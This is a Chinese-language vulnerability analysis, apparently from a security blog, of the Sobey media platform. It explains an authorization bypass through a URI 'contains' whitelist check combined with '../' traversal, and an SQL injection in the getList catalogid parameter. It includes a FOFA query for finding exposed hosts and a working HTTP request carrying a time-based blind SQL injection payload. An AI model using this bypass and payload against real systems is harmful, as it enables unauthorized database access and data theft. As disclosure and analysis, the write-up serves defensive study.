漏洞简介
索贝融媒体系统的 getList 接口catalogid参数存在 SQL注入漏洞。攻击者可通过构造恶意 SQL 语句注入到该接口的catalogid参数中,进而实现任意 SQL 语句执行,可能导致数据库敏感信息泄露、数据篡改,甚至在部分情况下进一步获取系统控制权限。影响范围包括数据库的完整性、保密性及可用性,严重时可能危及整个系统安全。
影响版本
fofa语法
app="SOBEY-融媒体"
漏洞分析
权限校验
根据系统 web.xml 的内容可知系统为Spring mvc架构

那就先看 WEB-INF/classes/spring-mvc.xml ,主要看它的springmvc拦截器 ,这里配置有权限相关的拦截校验,如果权限校验存在缺陷,这可能存在权限绕过漏洞。
<!-- springmvc拦截器 -->
<mvc:interceptors>
<!--跨域-->
<mvc:interceptor>
<mvc:mapping path="/mch/**"/>
<bean class="com.sobey.api.interceptor.CORSFilter">
</bean>
</mvc:interceptor>
<mvc:interceptor>
<mvc:mapping path="/mch/**"/>
<bean class="com.sobey.api.interceptor.HiveInterceptor">
<property name="allowUrls">
<list>
<!-- 如果请求中包含以下路径,则不进行拦截 -->
<value>/push_callback</value>
<value>/js</value>
<value>/css</value>
<value>/image</value>
<value>/images</value>
<value>/LoginInt</value>
<value>/getOmnfig</value>
<value>/dtest</value>
<value>/UserInt</value>
<value>/getList</value>
<value>/AIInt</value>
<value>/TestInt</value>
<value>/syncGet</value>
<value>/ArticlePushInInt</value>
<value>/third/push</value>
<value>/thirdGX/updateStatus</value>
<value>/test/push_callback</value>
<value>/mch/statistics</value>
<value>/bottonCount</value>
<value>mch/File/taskBack</value>
<value>/uploadCallback</value>
<value>/mch/Articlelist/queryByCode</value>
<value>/customField/updateFieldClass</value>
<value>/callBcakUpdateStatus</value>
<value>/energy/callback</value>
<value>/AISaveArticle</value>
<value>/jkhitv/catagory</value>
<value>/login</value>
<value>/logout</value>
<value>/recall_callback</value>
<value>/mch/articleImport/saveFromEntity</value>
<value>/mch/articleImport/addArticle</value>
<value>/mch/articleImport/articleImport</value>
<value>/mch/articleImport/createByMaterials</value>
<value>/mch/articleImport/add</value>
<value>/mch/articleImport/lzyAdd</value>
<value>/mch/catalogInt/getCatalogListByThird</value>
<value>/mch/catalogInt/getCatalogLevel</value>
<value>/fz/statusReWrite</value>
<value>/mch/xinhuaXml/addArticle</value>
<value>/syncReception</value>
<value>/mch/fz/addArticle</value>
<!-- <value>/mch/Articlelist/articleScorelist</value>-->
<value>/mch/ArticleInt/xining_find</value>
<value>/mch/ArticleInt/checkBythird</value>
<value>/mch/fcmonit</value>
<value>/mch/audioTrans/callback</value>
<value>/mch/cyy/save</value>
<value>/mch/catalogInt/freshTotoAccount</value>
<value>/mch/videotranscode/processcallback</value>
<value>/mch/hypermediaInt/notify</value>
<value>/mch/lzy/getArticleList</value>
<value>/mch/Articlelist/articleExamineExport</value>
</list>
</property>
</bean>
</mvc:interceptor>
</mvc:interceptors>
根据此系统的拦截器定义部分,看下面对请求路径 /mch/** 的拦截实现class以及其定义的白名单url路径列表
<mvc:mapping path="/mch/**"/>
<bean class="com.sobey.api.interceptor.HiveInterceptor">
<property name="allowUrls">
跟进HiveInterceptor
public class HiveInterceptor implements HandlerInterceptor {
private List<String> allowUrls;
public void setAllowUrls(List<String> allowUrls) {
this.allowUrls = allowUrls;
}
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String contextPath = request.getContextPath();
String uri = request.getRequestURI().replace(contextPath, "");
for(String url : this.allowUrls) {
if (uri.contains(url)) {
return true;
}
}
其中preHandle方法下对于URL路径的获取使用的 request.getRequestURI() ,看到这里就知道存在权限绕过漏洞了,简单来说就是获取的url是格式化之前的路径包括一些特殊符号如夸目录 ../ 这类的,且使用的uri.contains(url) 方法来判断请求的url路径里是否包含白名单列表中的内容,如果包含着直接返回true,就通过权限校验了。OK,下面回到本次主题的SQL注入漏洞。
SQL注入
看下存在漏洞的getList方法是如何实现的吧
@RestController
@RequestMapping({"/mch/Articlelist"})
public class ArticleListController extends BaseController {
在 ArticleListController 这个类上使用 @RequestMapping({"/mch/Articlelist"}) 注解,为该控制器下的所有请求处理方法定义了一个统一的URL路径前缀 /mch/Articlelist,接着是各种子方法,其中getList方法实现如下
@RequestMapping({"/getList"})
public JSONObject getList(@RequestParam(value = "id",required = false,defaultValue = "") String id, @RequestParam(value = "catalogid",required = false,defaultValue = "") String catalogid, @RequestParam(value = "createUserName",required = false,defaultValue = "") String createUserName, @RequestParam(value = "channelCode",required = false,defaultValue = "") String channelCode, @RequestParam(value = "number",required = false,defaultValue = "10") String number, @RequestParam(value = "pageIndex",required = false,defaultValue = "0") String pageIndex, @RequestParam(value = "startTime",required = false) String startTime, @RequestParam(value = "endTime",required = false) String endTime, @RequestParam(value = "status",required = false,defaultValue = "") String status, @RequestParam(value = "customCode",required = false) String customCode, @RequestParam(value = "customValue",required = false) String customValue) {
Response response = new Response();
JSONObject ret = new JSONObject();
try {
QueryBuilder qb = new QueryBuilder("select a.id,a.title,a.catalogid as catalogName,a.content,a.createDate,a.createusername,'' as channelName, ");
qb.append("case a.status when 0 then '初稿' when 10 then '审核中' when 60 then '审核退回' when 30 then '推送中' when 40 then '推送完成' when 50 then '推送失败' when 70 then '审核通过' end as status from zcnarticle a ");
QueryBuilder count = new QueryBuilder("select count(1) from zcnarticle a ");
if (StringUtil.isNotEmpty(customCode) && StringUtil.isNotEmpty(customValue)) {
qb.append(" inner join zcncustomfieldrela e on a.id=e.articleid and e.code=? ", customCode);
qb.append(" and e.value = ?", customValue);
count.append(" inner join zcncustomfieldrela e on a.id=e.articleid and e.code=? ", customCode);
count.append(" and e.value = ?", customValue);
}
qb.append(" where a.ifval='1' ");
count.append("where a.ifval='1' ");
if (StringUtil.isNotEmpty(id)) {
qb.append(" and a.id =? ", id);
count.append(" and a.id =? ", id);
}
if (StringUtil.isNotEmpty(catalogid)) {
qb.append(String.format(" and a.catalogid in ( %s ) ", catalogid));
count.append(String.format(" and a.catalogid in ( %s ) ", catalogid));
}
关键点在于参数catalogid没有采用其他参数类似的参数化绑定查询,而是直接格式化拼接进SQL语句中,然后直接用qb.executePagedDataTable来执行组装完成的SQL语句,从而造成SQL注入漏洞。
漏洞复现
POST /sobey-mchEditor/mch/Articlelist/queryByCode/../getList HTTP/1.1
Host: sobey.mrxn.net
Content-Type: application/x-www-form-urlencoded
catalogid=1%)+AND (SELECT 4920 FROM (SELECT(SLEEP(5)))ILaK)-- -

成功延时 5 秒


